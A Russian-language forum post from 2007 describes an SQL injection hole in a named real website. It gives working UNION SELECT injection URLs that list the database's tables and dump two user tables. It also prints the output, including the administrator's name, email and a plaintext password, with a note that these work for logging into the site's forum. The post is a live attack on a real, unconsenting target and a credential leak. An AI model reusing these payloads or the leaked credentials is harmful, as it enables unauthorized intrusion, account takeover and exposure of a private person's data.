Показать сообщение отдельно

  #3592  
Старый 08.11.2007, 10:41
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами: 10313606

Репутация: 1327
По умолчанию

_http://www.tonnel.ru
mysql - 5 версии, всего в базе присутствует 133 таблицы
Ковычки не фильтруются, НО прав на чтение-запись нету!(
Код:
http://www.tonnel.ru/?l=gzl&uid=-509'+union+select+1,2,3,concat(table_schema,char(58),table_NAME),5,6,7,8,9,10,11,12,13+from+INFORMATION_SCHEMA.tables+limit+x,1/*
вот таблица приглянулась - digest_user
Код:
http://www.tonnel.ru/?l=gzl&uid=-509'+union+select+1,2,3,concat(name,char(58),email,char(58),passwd),5,6,7,8,9,10,11,12,13+from+savinov.digest_user+limit+0,1/*
Максим:admin@tonnel.ru:43957
и - music_user
Код:
http://www.tonnel.ru/?l=gzl&uid=-509'+union+select+1,2,3,concat(username,char(58),email,char(58),passwd),5,6,7,8,9,10,11,12,13+from+savinov.music_user+limit+0,1/*
Максим:admin@tonnel.ru:vermax (под этим логином-паролем можно зайти на форум _http://www.tonnel.ru/board/)
 
Ответить с цитированием